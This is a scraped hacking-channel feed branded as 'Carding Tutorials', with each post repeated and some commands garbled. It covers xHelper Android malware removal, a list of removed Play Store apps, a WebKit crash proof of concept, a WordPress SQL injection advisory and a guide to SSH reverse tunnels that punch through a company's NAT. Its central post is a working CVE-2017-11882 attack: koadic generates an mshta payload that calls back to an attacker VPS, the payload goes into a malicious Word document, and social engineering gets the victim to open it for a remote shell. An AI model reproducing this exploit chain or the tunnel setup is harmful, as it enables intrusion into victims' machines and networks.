ENJOY BY UNDER CODE # ANY DOUBT FEEL FREE TO ASK # ALL FREE
π¦ The Carding Tutorials Posted by UnderCode Powered by Trusted DeepWebsites, So don t be a shit Hacker by Cloning Our Tutorials
# Use Only For Learning
# Use Only For Learning
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦What is X-Helper Virus ? and why is dangerous ?
twitter.com/UndercOdeTC
π¦ ππΌππ πππΈβπ :
1) xHelper is an Android malware that was detected by security vendor Malwarebytes in May 2019. This is a covert malware removal program. Even after the user restores the factory settings, the malware will be re-infected, causing continuous trouble to users around the world.
2) Malwarebytes' security researchers have been studying the threat, and in a recent blog post, the team stated that, although it has not been clear how the malware reinstalls itself, they have indeed found sufficient information about how it operates. Information to permanently delete it and prevent xHelper from reinstalling itself after a factory reset.
3) According to the Malwarebytes team, xHelper found a way to use a process in the Google Play Store app to trigger a reinstall. With a special directory created on the device, xHelper can hide its Android application package (APK) on disk. Unlike apps, their directories and files remain on Android mobile devices even after a factory reset. Therefore, the device will continue to be infected until the directories and files are deleted.
4) Malwarebytes explained in its analysis of the malware, "Google Play is not infected with malware. However, certain events in Google Play triggered a re-infection-it could be something is being stored. In addition, some things may Google Play acts as a smoke screen, disguising itself as a source of malware installation, when it actually comes from elsewhere. "
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦What is X-Helper Virus ? and why is dangerous ?
twitter.com/UndercOdeTC
π¦ ππΌππ πππΈβπ :
1) xHelper is an Android malware that was detected by security vendor Malwarebytes in May 2019. This is a covert malware removal program. Even after the user restores the factory settings, the malware will be re-infected, causing continuous trouble to users around the world.
2) Malwarebytes' security researchers have been studying the threat, and in a recent blog post, the team stated that, although it has not been clear how the malware reinstalls itself, they have indeed found sufficient information about how it operates. Information to permanently delete it and prevent xHelper from reinstalling itself after a factory reset.
3) According to the Malwarebytes team, xHelper found a way to use a process in the Google Play Store app to trigger a reinstall. With a special directory created on the device, xHelper can hide its Android application package (APK) on disk. Unlike apps, their directories and files remain on Android mobile devices even after a factory reset. Therefore, the device will continue to be infected until the directories and files are deleted.
4) Malwarebytes explained in its analysis of the malware, "Google Play is not infected with malware. However, certain events in Google Play triggered a re-infection-it could be something is being stored. In addition, some things may Google Play acts as a smoke screen, disguising itself as a source of malware installation, when it actually comes from elsewhere. "
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ Method to remove xHelper Virus :
fb.com/UndercOdeTestingCompany
π¦ ππΌππ πππΈβπ :
It is worth noting that the following removal steps rely on the user to install the Malwarebytes app for Android, but the app is free to use.
> The specific deletion steps are as follows:
1) Install a file manager from Google PLAY, which can search for files and directories.
2) Amelia uses ASTRO's File Manager.
3) Disable Google PLAY temporarily to stop reinfection.
4) Go to Settings> Apps> Google Play Store
5) Press the disable button to run a scan in Malwarebytes for Android to remove xHelper and other malware.
6) Manual uninstallation can be difficult, but the names to look for in the Application information are fireway, xhelper, and Settings (only if two settings applications are displayed). Open the file manager and search for anything that starts with com.mufc .
If found, note the last modified date.
> Pro tip: Sort by date in file manager
7) In ASTRO's file manager, you can delete everything starting with com.mufc sorted by date under view settings . And anything with the same date (except for core directories such as Download):
8) now Re-enable Google PLAY
9) Go to Settings> Apps> Google Play Store
10) Press the enable button
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ Method to remove xHelper Virus :
fb.com/UndercOdeTestingCompany
π¦ ππΌππ πππΈβπ :
It is worth noting that the following removal steps rely on the user to install the Malwarebytes app for Android, but the app is free to use.
> The specific deletion steps are as follows:
1) Install a file manager from Google PLAY, which can search for files and directories.
2) Amelia uses ASTRO's File Manager.
3) Disable Google PLAY temporarily to stop reinfection.
4) Go to Settings> Apps> Google Play Store
5) Press the disable button to run a scan in Malwarebytes for Android to remove xHelper and other malware.
6) Manual uninstallation can be difficult, but the names to look for in the Application information are fireway, xhelper, and Settings (only if two settings applications are displayed). Open the file manager and search for anything that starts with com.mufc .
If found, note the last modified date.
> Pro tip: Sort by date in file manager
7) In ASTRO's file manager, you can delete everything starting with com.mufc sorted by date under view settings . And anything with the same date (except for core directories such as Download):
8) now Re-enable Google PLAY
9) Go to Settings> Apps> Google Play Store
10) Press the enable button
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦Some APP Names, removed from playstore for Malwares detection :
After Google got a heads-up from a Forbes writer on Tuesday, it yanked all of the 24 apps in the network from the Play store. These are the apps that it removed:
instagram.com/UndercOdeTestingCompany
1) HI VPN, Free VPN
2) Soccer Pinball
3) Dig It
4) Laser Break
5) Word Crush
6) Music Roam
7) Word Crossy!
8) Puzzle Box
9) World Zoo
10) Private Browser
11) Calendar Lite
12) Turbo Browser
13) Joy Launcher
14) Virus Cleaner 2019
15) Super Cleaner
16) Hi Security 2019
17) Candy Selfie Camera
18) Super Battery
19) Candy Gallery
20) Hi VPN Pro
21) Net Master
22) filemanager
23) Sound Recorder
24) Weather Forecast
π¦ Google had this to say about reports of the appsβ security and privacy violations:
Examples include that time in September 2019, when we heard about fleeceware in the Play Store that was automatically charging up to $250 to continue using it beyond its three-day trial period.
>As weβve noted before when covering rogue apps in Play Store, Google often doesnβt seem to notice the problem at all until researchers report the apps for malicious or exploitative behavior.
>Unfortunately, bad apps often fall through the automatic screening in the app stores if they themselves donβt flagrantly pull malicious stunts but instead pave the way for a deviceβs compromise, as pointed out by SophosLabs malware analyst Jagadeesh Chandraiah
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦Some APP Names, removed from playstore for Malwares detection :
After Google got a heads-up from a Forbes writer on Tuesday, it yanked all of the 24 apps in the network from the Play store. These are the apps that it removed:
instagram.com/UndercOdeTestingCompany
1) HI VPN, Free VPN
2) Soccer Pinball
3) Dig It
4) Laser Break
5) Word Crush
6) Music Roam
7) Word Crossy!
8) Puzzle Box
9) World Zoo
10) Private Browser
11) Calendar Lite
12) Turbo Browser
13) Joy Launcher
14) Virus Cleaner 2019
15) Super Cleaner
16) Hi Security 2019
17) Candy Selfie Camera
18) Super Battery
19) Candy Gallery
20) Hi VPN Pro
21) Net Master
22) filemanager
23) Sound Recorder
24) Weather Forecast
π¦ Google had this to say about reports of the appsβ security and privacy violations:
Examples include that time in September 2019, when we heard about fleeceware in the Play Store that was automatically charging up to $250 to continue using it beyond its three-day trial period.
>As weβve noted before when covering rogue apps in Play Store, Google often doesnβt seem to notice the problem at all until researchers report the apps for malicious or exploitative behavior.
>Unfortunately, bad apps often fall through the automatic screening in the app stores if they themselves donβt flagrantly pull malicious stunts but instead pave the way for a deviceβs compromise, as pointed out by SophosLabs malware analyst Jagadeesh Chandraiah
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ Office Memory Corruption Vulnerability CVE-2017-11882 Failed to execute arbitrary code, DoS PoC has been released:
fb.com/UndercOdeTestingCompany
1) Microsoft Office once again revealed a memory corru:ption vulnerabilityβ , CVEID CVE-2017-11882β , which can be exploited by an attacker to execute arbitrary code in the context of the currently logged-in user.
2) A failed development attempt may cause a denial of service condition. The affected versions include related versions of Office 2016, Office 2013, Office 2010, and Office 2007.
3) Update: The Microsoft Office Memory Corruption Vulnerability CVE-2017-11882 PoC has been released. The reason it is widely spread is that this vulnerability has no sputum, and users cannot feel it! !! !! Here is a simple reproduction for everyone. .
π¦ Tools used:
1) Infiltration tool: kodiac (used to construct the payload and get the shell) Tool address: https://github.com/weiruyi123/koadic (This is the version I modified without coding errors)
2) Vulnerability Poc: Address: https://github.com/weiruyi123/CVE-2017-11882
(Poc has a limit on the command length. For details, please refer to the README on github.)
π¦ Operating environment:
1) Python2.7
2) Target: windows server 2008 R2 standard IP: 192.168.1.171
3) Attack machine: A VPS with a public IP (because I don't want to do forwarding, I use the VPS as a rebound shell service to show everyone)
4) Enter bash, cd into the downloaded Poc directory, we can see that Poc is written in python, so you need to install the python environment.
Next we open the win server virtual machine
5) Newly installed virtual machine (without any patches).
Here I use ssh to link my vps and use git clone to download kodiac. After recursively adding execute permissions to the directory, cd into the kodiac directory and then. /kodiac.py runs, the same tool also requires a python environment
6)Then we set the LHOST and LPORT mosaics and fill in your intranet IP address (if it is an intranet penetration) or port forwarding address, and then enter run to generate the payload
7) Copy 'mshta http: // IP: 2580 / acg9N' and then go back to bash to open the Poc directory. The usage of Poc is
python Command_CVE-2017-11882.py -c "cmd.exe / c calc.exe" -o test.doc
-c refers to the command executed remotely -o refers to the generated document location. We modify the command and save location at -c according to the situation, here according to the payload command I generated is
python Command_CVE-2017-11882.py -c "mshta http: // IP: 2580 / acg9N" -o test.doc
Of course, you can also use msf to generate a powershell one-sentence payload and then replace the parameter at -c
8) It can be seen that we have successfully generated a malicious document (check picture sended by UndercOde
9) Next, you only need to open it through some social workers or abnormal means. we will open the document into the win server virtual machine.
10) Then you will find that the zombies shell with code 0 has been rebounded at kodiac, and there is no error message after the target is opened
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ Office Memory Corruption Vulnerability CVE-2017-11882 Failed to execute arbitrary code, DoS PoC has been released:
fb.com/UndercOdeTestingCompany
1) Microsoft Office once again revealed a memory corru:ption vulnerabilityβ , CVEID CVE-2017-11882β , which can be exploited by an attacker to execute arbitrary code in the context of the currently logged-in user.
2) A failed development attempt may cause a denial of service condition. The affected versions include related versions of Office 2016, Office 2013, Office 2010, and Office 2007.
3) Update: The Microsoft Office Memory Corruption Vulnerability CVE-2017-11882 PoC has been released. The reason it is widely spread is that this vulnerability has no sputum, and users cannot feel it! !! !! Here is a simple reproduction for everyone. .
π¦ Tools used:
1) Infiltration tool: kodiac (used to construct the payload and get the shell) Tool address: https://github.com/weiruyi123/koadic (This is the version I modified without coding errors)
2) Vulnerability Poc: Address: https://github.com/weiruyi123/CVE-2017-11882
(Poc has a limit on the command length. For details, please refer to the README on github.)
π¦ Operating environment:
1) Python2.7
2) Target: windows server 2008 R2 standard IP: 192.168.1.171
3) Attack machine: A VPS with a public IP (because I don't want to do forwarding, I use the VPS as a rebound shell service to show everyone)
4) Enter bash, cd into the downloaded Poc directory, we can see that Poc is written in python, so you need to install the python environment.
Next we open the win server virtual machine
5) Newly installed virtual machine (without any patches).
Here I use ssh to link my vps and use git clone to download kodiac. After recursively adding execute permissions to the directory, cd into the kodiac directory and then. /kodiac.py runs, the same tool also requires a python environment
6)Then we set the LHOST and LPORT mosaics and fill in your intranet IP address (if it is an intranet penetration) or port forwarding address, and then enter run to generate the payload
7) Copy 'mshta http: // IP: 2580 / acg9N' and then go back to bash to open the Poc directory. The usage of Poc is
python Command_CVE-2017-11882.py -c "cmd.exe / c calc.exe" -o test.doc
-c refers to the command executed remotely -o refers to the generated document location. We modify the command and save location at -c according to the situation, here according to the payload command I generated is
python Command_CVE-2017-11882.py -c "mshta http: // IP: 2580 / acg9N" -o test.doc
Of course, you can also use msf to generate a powershell one-sentence payload and then replace the parameter at -c
8) It can be seen that we have successfully generated a malicious document (check picture sended by UndercOde
9) Next, you only need to open it through some social workers or abnormal means. we will open the document into the win server virtual machine.
10) Then you will find that the zombies shell with code 0 has been rebounded at kodiac, and there is no error message after the target is opened
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ Intranet penetration using SSH reverse tunnel FULL BY UndercOde :
twitter.com/UndercOdeTC
1) No matter it is infiltration or in the open air, intranet penetration is an important link. We and our assigned intranet IP cannot be accessed through the extranet. SSH reverse tunnel for intranet penetration.
2) Suppose machines A and B, A has a public IP, and B is behind NAT and has no available port forwarding. Now I want to initiate an SSH connection to B from A. Because B is behind the NAT, there is no such combination of public IP + port available , so A cannot penetrate NAT. This article deals with this situation. Also encountered by most people.
3) Let's first assume the following machines:
Machine code Machine position address Account ssh / sshd port Do you need to run sshd
A Public network a.site usera twenty two Yes
B Behind NAT localhost userb twenty two Yes
C Behind NAT localhost userc twenty two no
SSH direction tunnel connection
4) This method refers to the active establishment of an SSH tunnel from B to A, which forwards port 6766 of A to port B. As long as the tunnel is not closed, this forwarding is effective. You only need to access A's 6766 port to connect to B in reverse.
π¦ First establish an SSH tunnel on B, and forward port 6676 of A to port 22 of B:
1) B $ ssh -p 22 -qngfNTR 6766: localhost: 22 usera@a.site
Then use 6766 reverse SSH to B on A
2) A $ ssh -p 6766 userb @ localhost
The thing to do is actually that simple.
3) Maintenance of the tunnel
Stability maintenance
> Unfortunately, the SSH connection will be closed overtime. If the connection is closed and the tunnel cannot be maintained, then A cannot use the reverse tunnel to penetrate B's NAT. Therefore, we need a solution to provide a stable SSH To the tunnel.
4) One of the easiest methods is autossh. This software will automatically establish an SSH tunnel after a timeout. This solves the problem of tunnel stability. If you use Arch Linux, you can get it like this:
> $ sudo pacman -S autossh
5) Let's do something similar on B before, except that the tunnel will be maintained by autossh:
> $ autossh -p 22 -M 6777 -NR 6766: localhost: 22 usera@a.site
The port specified by the -M parameter is used to monitor the status of the tunnel and has nothing to do with port forwarding.
6) Then you can access B on port 6766 on A:
> $ ssh -p 6766 user @ localhost
7) Automatic tunnel establishment
However, there is another problem. If B restarts the tunnel, it will disappear. Then there needs to be a means autossh to establish an SSH tunnel each time B starts . One idea is to make the service very natural, then it will be given in systemd a solution under the program.
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ Intranet penetration using SSH reverse tunnel FULL BY UndercOde :
twitter.com/UndercOdeTC
1) No matter it is infiltration or in the open air, intranet penetration is an important link. We and our assigned intranet IP cannot be accessed through the extranet. SSH reverse tunnel for intranet penetration.
2) Suppose machines A and B, A has a public IP, and B is behind NAT and has no available port forwarding. Now I want to initiate an SSH connection to B from A. Because B is behind the NAT, there is no such combination of public IP + port available , so A cannot penetrate NAT. This article deals with this situation. Also encountered by most people.
3) Let's first assume the following machines:
Machine code Machine position address Account ssh / sshd port Do you need to run sshd
A Public network a.site usera twenty two Yes
B Behind NAT localhost userb twenty two Yes
C Behind NAT localhost userc twenty two no
SSH direction tunnel connection
4) This method refers to the active establishment of an SSH tunnel from B to A, which forwards port 6766 of A to port B. As long as the tunnel is not closed, this forwarding is effective. You only need to access A's 6766 port to connect to B in reverse.
π¦ First establish an SSH tunnel on B, and forward port 6676 of A to port 22 of B:
1) B $ ssh -p 22 -qngfNTR 6766: localhost: 22 usera@a.site
Then use 6766 reverse SSH to B on A
2) A $ ssh -p 6766 userb @ localhost
The thing to do is actually that simple.
3) Maintenance of the tunnel
Stability maintenance
> Unfortunately, the SSH connection will be closed overtime. If the connection is closed and the tunnel cannot be maintained, then A cannot use the reverse tunnel to penetrate B's NAT. Therefore, we need a solution to provide a stable SSH To the tunnel.
4) One of the easiest methods is autossh. This software will automatically establish an SSH tunnel after a timeout. This solves the problem of tunnel stability. If you use Arch Linux, you can get it like this:
> $ sudo pacman -S autossh
5) Let's do something similar on B before, except that the tunnel will be maintained by autossh:
> $ autossh -p 22 -M 6777 -NR 6766: localhost: 22 usera@a.site
The port specified by the -M parameter is used to monitor the status of the tunnel and has nothing to do with port forwarding.
6) Then you can access B on port 6766 on A:
> $ ssh -p 6766 user @ localhost
7) Automatic tunnel establishment
However, there is another problem. If B restarts the tunnel, it will disappear. Then there needs to be a means autossh to establish an SSH tunnel each time B starts . One idea is to make the service very natural, then it will be given in systemd a solution under the program.
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ Intranet penetration using SSH reverse tunnel FULL BY UndercOde PART 2 : :
twitter.com/UndercOdeTC
ππΌππ πππΈβπ :
π¦"Punch holes"
The reason why the title is this is because I think this thing is a bit similar to UDP hole punching, that is, through a machine on the public network, two machines that are respectively behind each NAT can establish an SSH connection.
1) Here's how to use SSH reverse tunnel to connect C to B.
First edit the configuration file on A , turn on the switch:sshd/etc/ssh/sshd_configGatewayPorts
2) GtaewayPorts yes
Then restart ssh
> A$ sudo systemct1 restart sshd
Then slightly modify the autossh command used on B:
3)B > $ autossh -p 22 -M 6777 -NR '*: 6766: localhost: 22' user@a.site
Then use C's port 6676 to connect to B on C:
C $ ssh -p 6766 user@a.site
So far you have easily penetrated the two layers of NAT
π¦ 1) Final solution
Combining the previously mentioned, the final solution is as follows:
2) First turn on the GatewayPorts switch of sshd on A and restart sshd.
3) Then create a new user autossh on B. According to the idea of ββpermission minimization, the autossh service handout on B runs as the user autossh to avoid security problems as much as possible:
1 B $ sudo useradd -m autossh
2 B $ sudo passwd autossh
Then create the SSH key for the autossh user on B and upload it to A:
1 B $ su-autossh
2 B $ ssh-keygen -t; rsa '-C' autossh @ B '
3 B $ ssh-copy-id user@a.site
Be careful not to set a password for this key , that is ssh-keygen , do not enter extra characters despite entering all the way when running the command.
4) Then create a service file called with autossh user privileges on B. Write the following text to the file and set the permissions to 644:autossh/lib/systemd/system/autossh.service
1 [Unit]
2 Description = Auto SSH Tunnel
3 After = network-online.target
4 [Service]
5 User = autossh
6 Type = simple
7 ExecStart = / bin / autossh -p 22 -M 6777 -NR '*: 6766: localhost: 22' usera@a.site -i /home/autossh/.ssh/id_rsa
8 ExecReload = / bin / kill -HUP $ MAINPID
9 KillMode = process
10 Restart = always
11 [Install]
12 WantedBy = multi-user.target
13 WantedBy = graphical.target
Setting network-online.target on B takes effect:
5) B $ systemctl enable NetworkManager-wait-online
If you use systemd-networkd and you need to restart the service, it should be systemd-networkd-wait-online. Then set the service to start automatically:
> B $ systemctl enable autossh
If you like, you can start it immediately after this:
> B $ systemctl start autossh
Then you can use this reverse tunnel on A to penetrate B's NAT SSH connection to B:
> C $ ssh -p 6766 user @ localhost
Or SSH to C directly through two layers of NAT:
> C $ ssh -p 6766 user@a.site
If you are familiar with ssh, you can use this tunnel to do more things. For example, you can specify dynamic port forwarding when connecting backwards:
> C $ ssh -p 6766 -qngfNTD 7677 user@site.a
Joining C is your computer, A is your VPS, and B is your company's computer. If you do the above, then the browser port is set to the sock4 local (localhost) proxy of 7677, and you can see the company's webpage in your home browser.
π¦There are some other things in the home that are not useful, everyone knows. . . . .
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ Intranet penetration using SSH reverse tunnel FULL BY UndercOde PART 2 : :
twitter.com/UndercOdeTC
ππΌππ πππΈβπ :
π¦"Punch holes"
The reason why the title is this is because I think this thing is a bit similar to UDP hole punching, that is, through a machine on the public network, two machines that are respectively behind each NAT can establish an SSH connection.
1) Here's how to use SSH reverse tunnel to connect C to B.
First edit the configuration file on A , turn on the switch:sshd/etc/ssh/sshd_configGatewayPorts
2) GtaewayPorts yes
Then restart ssh
> A$ sudo systemct1 restart sshd
Then slightly modify the autossh command used on B:
3)B > $ autossh -p 22 -M 6777 -NR '*: 6766: localhost: 22' user@a.site
Then use C's port 6676 to connect to B on C:
C $ ssh -p 6766 user@a.site
So far you have easily penetrated the two layers of NAT
π¦ 1) Final solution
Combining the previously mentioned, the final solution is as follows:
2) First turn on the GatewayPorts switch of sshd on A and restart sshd.
3) Then create a new user autossh on B. According to the idea of ββpermission minimization, the autossh service handout on B runs as the user autossh to avoid security problems as much as possible:
1 B $ sudo useradd -m autossh
2 B $ sudo passwd autossh
Then create the SSH key for the autossh user on B and upload it to A:
1 B $ su-autossh
2 B $ ssh-keygen -t; rsa '-C' autossh @ B '
3 B $ ssh-copy-id user@a.site
Be careful not to set a password for this key , that is ssh-keygen , do not enter extra characters despite entering all the way when running the command.
4) Then create a service file called with autossh user privileges on B. Write the following text to the file and set the permissions to 644:autossh/lib/systemd/system/autossh.service
1 [Unit]
2 Description = Auto SSH Tunnel
3 After = network-online.target
4 [Service]
5 User = autossh
6 Type = simple
7 ExecStart = / bin / autossh -p 22 -M 6777 -NR '*: 6766: localhost: 22' usera@a.site -i /home/autossh/.ssh/id_rsa
8 ExecReload = / bin / kill -HUP $ MAINPID
9 KillMode = process
10 Restart = always
11 [Install]
12 WantedBy = multi-user.target
13 WantedBy = graphical.target
Setting network-online.target on B takes effect:
5) B $ systemctl enable NetworkManager-wait-online
If you use systemd-networkd and you need to restart the service, it should be systemd-networkd-wait-online. Then set the service to start automatically:
> B $ systemctl enable autossh
If you like, you can start it immediately after this:
> B $ systemctl start autossh
Then you can use this reverse tunnel on A to penetrate B's NAT SSH connection to B:
> C $ ssh -p 6766 user @ localhost
Or SSH to C directly through two layers of NAT:
> C $ ssh -p 6766 user@a.site
If you are familiar with ssh, you can use this tunnel to do more things. For example, you can specify dynamic port forwarding when connecting backwards:
> C $ ssh -p 6766 -qngfNTD 7677 user@site.a
Joining C is your computer, A is your VPS, and B is your company's computer. If you do the above, then the browser port is set to the sock4 local (localhost) proxy of 7677, and you can see the company's webpage in your home browser.
π¦There are some other things in the home that are not useful, everyone knows. . . . .
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ iOS Safari WebKit CVE-2017-13785 Remote Code Execution Vulnerability POC:
> twitter.com/UndercOdeTC
ππΌππ πππΈβπ :
1) WebKit is a typesetting engine used by web browsers to draw web pages. It is used in Apple Safari. Its branches are used in Chromium-based web browsers such as Opera and Google Chrome.
PoC:
*/
<style>
* { max-height: 0; -webkit-text-combine: horizontal; -webkit-writing-mode: vertical-rl; }
</style>
<script>
function go() {
window.getSelection().setPosition(h,1);
document.execCommand("delete", false);
document.execCommand("delete", false);
}
</script>
<body onload=go()>
<listing>
<dd contenteditable="true">
<h3 id="h">I>EO~P</h3>
/*
π¦ ASan log:
==30388==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6030000f5de6 at pc 0x00010ff1c575 bp 0x7fff5a427300 sp 0x7fff5a4272f8
READ of size 2 at 0x6030000f5de6 thread T0
==30388==WARNING: invalid path to external symbolizer!
==30388==WARNING: Failed to use and restart external symbolizer!
2) #0 0x10ff1c574 in WTF::StringImpl::at(unsigned int) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2b574)
3) #1 0x110edd834 in WebCore::InlineTextBox::isLineBreak() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xfec834)
4) #2 0x110ee587f in WebCore::InlineTextBox::positionForOffset(unsigned int) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore
5) AddressSanitizer: heap-buffer-overflow (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2b574) in WTF::StringImpl::at(unsigned int) const
Shadow bytes around the buggy address:
0x1c060001eb60: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd
0x1c060001eb70: fa fa fd fd fd fd fa fa fd fd fd fd fa fa fd fd
...
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ iOS Safari WebKit CVE-2017-13785 Remote Code Execution Vulnerability POC:
> twitter.com/UndercOdeTC
ππΌππ πππΈβπ :
1) WebKit is a typesetting engine used by web browsers to draw web pages. It is used in Apple Safari. Its branches are used in Chromium-based web browsers such as Opera and Google Chrome.
PoC:
*/
<style>
* { max-height: 0; -webkit-text-combine: horizontal; -webkit-writing-mode: vertical-rl; }
</style>
<script>
function go() {
window.getSelection().setPosition(h,1);
document.execCommand("delete", false);
document.execCommand("delete", false);
}
</script>
<body onload=go()>
<listing>
<dd contenteditable="true">
<h3 id="h">I>EO~P</h3>
/*
π¦ ASan log:
==30388==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6030000f5de6 at pc 0x00010ff1c575 bp 0x7fff5a427300 sp 0x7fff5a4272f8
READ of size 2 at 0x6030000f5de6 thread T0
==30388==WARNING: invalid path to external symbolizer!
==30388==WARNING: Failed to use and restart external symbolizer!
2) #0 0x10ff1c574 in WTF::StringImpl::at(unsigned int) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2b574)
3) #1 0x110edd834 in WebCore::InlineTextBox::isLineBreak() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xfec834)
4) #2 0x110ee587f in WebCore::InlineTextBox::positionForOffset(unsigned int) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore
5) AddressSanitizer: heap-buffer-overflow (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2b574) in WTF::StringImpl::at(unsigned int) const
Shadow bytes around the buggy address:
0x1c060001eb60: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd
0x1c060001eb70: fa fa fd fd fd fd fa fa fd fd fd fd fa fa fd fd
...
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ REQUIREMENTS Programming languages TO BE A WHITE HACKER :
t.me/UndercOdeTesting
1) HTML: One of the easiest and widely used static markup web language present in each and every website you see in your browser. Itβs recommended to learn HTML because it helps understanding web actions, response, and logic.
2) CSS: This is the design of the website, itβs like the wallpaper or decoration in the house. Javascript: A client-side web programming mostly used in web sites for better user interface and quick response. If you are interested in a hacking career you need to learn JavaScript because it helps to understand client-side mechanism which is essential for finding client-side flaws.
3) PHP: A dynamic server-side language which is responsible for managing web-apps and database. PHP is considered one of the most essential language because it controls everything on site and server, like a captain of a ship. It is advised to learn PHP nicely.
4) SQL: SQL is responsible for storing and managing sensitive and confidential data such as user credentials, bank and personal information about the website visitors. Black hat hackers mostly target SQL database and steal information which is later sold on underground dark web forum. If you want to be good security researcher, you should learn SQL so that you can find flaws in a website and report them.
π¦ Exploit Programming :
5) Python: It is said that a security researcher or hacker should know Python because it the core language for creating exploits and tools. Security experts and even pro hackers suggest that mastering Python is the best way to learn hacking. Python offers wider flexibility and you can create exploits only if you are good in Python. Ruby: Ruby is a simple yet complicated object-oriented language.
6) Ruby is very useful when it comes to exploit writing. It is used for meterpreter scripting by hackers. The most famous hacker tool, Metasploit framework is programmed in Ruby. Though Ruby may not be as versatile as Python, knowledge of Ruby is must in understanding exploits.
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ REQUIREMENTS Programming languages TO BE A WHITE HACKER :
t.me/UndercOdeTesting
1) HTML: One of the easiest and widely used static markup web language present in each and every website you see in your browser. Itβs recommended to learn HTML because it helps understanding web actions, response, and logic.
2) CSS: This is the design of the website, itβs like the wallpaper or decoration in the house. Javascript: A client-side web programming mostly used in web sites for better user interface and quick response. If you are interested in a hacking career you need to learn JavaScript because it helps to understand client-side mechanism which is essential for finding client-side flaws.
3) PHP: A dynamic server-side language which is responsible for managing web-apps and database. PHP is considered one of the most essential language because it controls everything on site and server, like a captain of a ship. It is advised to learn PHP nicely.
4) SQL: SQL is responsible for storing and managing sensitive and confidential data such as user credentials, bank and personal information about the website visitors. Black hat hackers mostly target SQL database and steal information which is later sold on underground dark web forum. If you want to be good security researcher, you should learn SQL so that you can find flaws in a website and report them.
π¦ Exploit Programming :
5) Python: It is said that a security researcher or hacker should know Python because it the core language for creating exploits and tools. Security experts and even pro hackers suggest that mastering Python is the best way to learn hacking. Python offers wider flexibility and you can create exploits only if you are good in Python. Ruby: Ruby is a simple yet complicated object-oriented language.
6) Ruby is very useful when it comes to exploit writing. It is used for meterpreter scripting by hackers. The most famous hacker tool, Metasploit framework is programmed in Ruby. Though Ruby may not be as versatile as Python, knowledge of Ruby is must in understanding exploits.
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦WordPress Full Version SQL Injection Vulnerability All Versions Affected Before 4.8.3 :
pinterest.com/UndercOdeOfficial
1) There are quite a lot of WordPress vulnerabilities. Recently, WordPress has exposed SQL injection vulnerabilities. All versions before 4.8.3 are affected. Due to its large usage, NSFOCUS issued a threat notice, the full text of which is as follows:
2) WordPress WPDB SQL injection vulnerability threat warning notice
On October 31, 2017, WordPress officially released the 4.8.3 security update, which fixed a SQL injection vulnerability that existed in the previous full version.
3) The vulnerability stems from the fact that $ wpdb-> prepare () can generate dangerous query commands, leading to potential SQL injection. The core of WordPress is not easily affected by the vulnerability, but WordPress officially strengthened the security of plugins and themes to prevent the vulnerability from being triggered.
π¦1) Related Link:
https://wordpress.org/news/2017/10/wordpress-4-8-3-security-release/
2) Affected area
Affected version WordPress <= 4.8.2
Unaffected version WordPress 4.8.3
3) solution
> WordPress has officially released the latest version 4.8.3 to fix this vulnerability. Users using 4.8.2 and previous versions should upgrade to 4.8.3 in time to protect against this vulnerability.
> Reference link:
https://wordpress.org/download/
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦WordPress Full Version SQL Injection Vulnerability All Versions Affected Before 4.8.3 :
pinterest.com/UndercOdeOfficial
1) There are quite a lot of WordPress vulnerabilities. Recently, WordPress has exposed SQL injection vulnerabilities. All versions before 4.8.3 are affected. Due to its large usage, NSFOCUS issued a threat notice, the full text of which is as follows:
2) WordPress WPDB SQL injection vulnerability threat warning notice
On October 31, 2017, WordPress officially released the 4.8.3 security update, which fixed a SQL injection vulnerability that existed in the previous full version.
3) The vulnerability stems from the fact that $ wpdb-> prepare () can generate dangerous query commands, leading to potential SQL injection. The core of WordPress is not easily affected by the vulnerability, but WordPress officially strengthened the security of plugins and themes to prevent the vulnerability from being triggered.
π¦1) Related Link:
https://wordpress.org/news/2017/10/wordpress-4-8-3-security-release/
2) Affected area
Affected version WordPress <= 4.8.2
